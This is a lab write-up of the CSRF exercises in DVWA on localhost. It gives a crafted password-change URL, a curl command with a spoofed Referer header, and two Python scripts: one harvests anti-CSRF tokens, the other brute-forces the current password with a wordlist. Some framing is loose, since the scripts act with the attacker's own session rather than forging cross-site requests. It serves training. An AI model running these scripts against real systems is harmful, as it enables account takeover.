Description
- Vulnerability: CSRF
- Impact: CSRF attack change any accounts’ passwords.
LOW Security Level
Make a change password request for testing and inspecting the Network I can see the change password request is a GET request with password_new and password_conf params:
http://localhost/DVWA/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change
We can send this URL to trick any users to click on and their accounts’ password will be changed.
MEDIUM Security Level
In this MEDIUM level, it has a check condition before executing code:
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
// The code
} else {
// Didn't come from a trusted source
echo "<pre>That request didn't look correct.</pre>";
}
So, we can add a header to this request to change the password (I use a basic curl command):
curl "http://localhost/DVWA/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change" -H "Referer: http://localhost/DVWA/vulnerabilities/csrf/" -b "security=medium; PHPSESSID=<YOUR_SESSION_ID>"
This command will change the password.
HIGH Security Level
THis HIGH security level is similar to Brute-force HIGH security level. They both add a CSRF Token to validate before executing the logic.
You can see here there is a check anti CSRF Token
// Check Anti-CSRF token
checkToken( $token, $_SESSION[ 'session_token' ], 'index.php' );
// Generate Anti-CSRF token
generateSessionToken();
Also, if you inspect the form in browser you will see a hidden input:
<input type="hidden" name="user_token" value="<RANDOM_USER_TOKEN>" />
So the workflow is:
- Make a GET request and take the created CSRF token firstly.
- Make a GET request like other two levels but we also add a
user_tokenparam to pass the check.
I have created a exploit Python code:
import requests
import re
baseUrl = "http://localhost/DVWA/vulnerabilities/csrf/"
cookies = {
"PHPSESSID": "<YOUR_SESS_ID>",
"security": "high"
}
pattern = r"name='user_token' value='([a-fA-F0-9]+)'"
def getCSRFToken():
try:
# Take CSRF Token
res = requests.get(baseUrl, cookies=cookies)
match = re.search(pattern, res.text)
if match:
token = match.group(1)
return token
else:
print("Failed to taken token")
return False
except requests.exceptions.RequestException as e:
print("Request error:", e)
def changePassword(user_token):
newPassword = input('Enter new password: ')
headers = {
"Referer": "http://localhost/DVWA/vulnerabilities/csrf/"
}
url = baseUrl + f"?password_new={newPassword}&password_conf={newPassword}&Change=Change&user_token={user_token}"
try:
res = requests.get(url, cookies=cookies, headers=headers)
if "Password Changed" in res.text:
print('Successfully change password')
else:
print('Failed to change password')
print(res.text)
except requests.exceptions.RequestException as e:
print("Request error:", e)
user_token = getCSRFToken()
if (user_token):
changePassword(user_token)
IMPOSSIBLE Security Level
This level seems to impossible to exploit. However, there is a vulnerability: this level requires a new value which is password_current in order to check if the user know the current password before changing the new one.
This seems to be secure however unlike the IMPOSSIBLE level of brute-force it will have several checks and also limit the errors. Therefore, in that IMPOSSIBLE brute-force it is kinda hard to brute-force the password. However, this IMPOSSIBLE level in CSRF doesn’t check like that.
=> We can brute-force the current password then change new one (even though we doesn’t know the current password).
This is my created Python exploit code:
import requests
import re
baseUrl = "http://localhost/DVWA/vulnerabilities/csrf/"
cookies = {
"PHPSESSID": "<YOUR_SESSS_ID>",
"security": "impossible"
}
pattern = r"name='user_token' value='([a-fA-F0-9]+)'"
def getCSRFToken():
try:
# Take CSRF Token
res = requests.get(baseUrl, cookies=cookies)
match = re.search(pattern, res.text)
if match:
token = match.group(1)
return token
else:
print("Failed to taken token")
return False
except requests.exceptions.RequestException as e:
print("Request error:", e)
def changePassword():
newPassword = input('Enter new password: ')
headers = {
"Referer": "http://localhost/DVWA/vulnerabilities/csrf/"
}
try:
with open('/usr/share/wordlists/rockyou.txt') as file:
for line in file:
password = line.rstrip()
user_token = getCSRFToken()
if not user_token:
print('Failed to fetch token')
continue
url = baseUrl + f"?password_current={password}&password_new={newPassword}&password_conf={newPassword}&Change=Change&user_token={user_token}"
try:
print(f'Attempting {password}')
res = requests.get(url, cookies=cookies, headers=headers)
if "Password Changed" in res.text:
print()
print(f'Found current password: {password}')
print('Successfully change password')
exit()
except requests.exceptions.RequestException as e:
print("Request error:", e)
except FileNotFoundError as e:
print("File not found:", e)
changePassword()
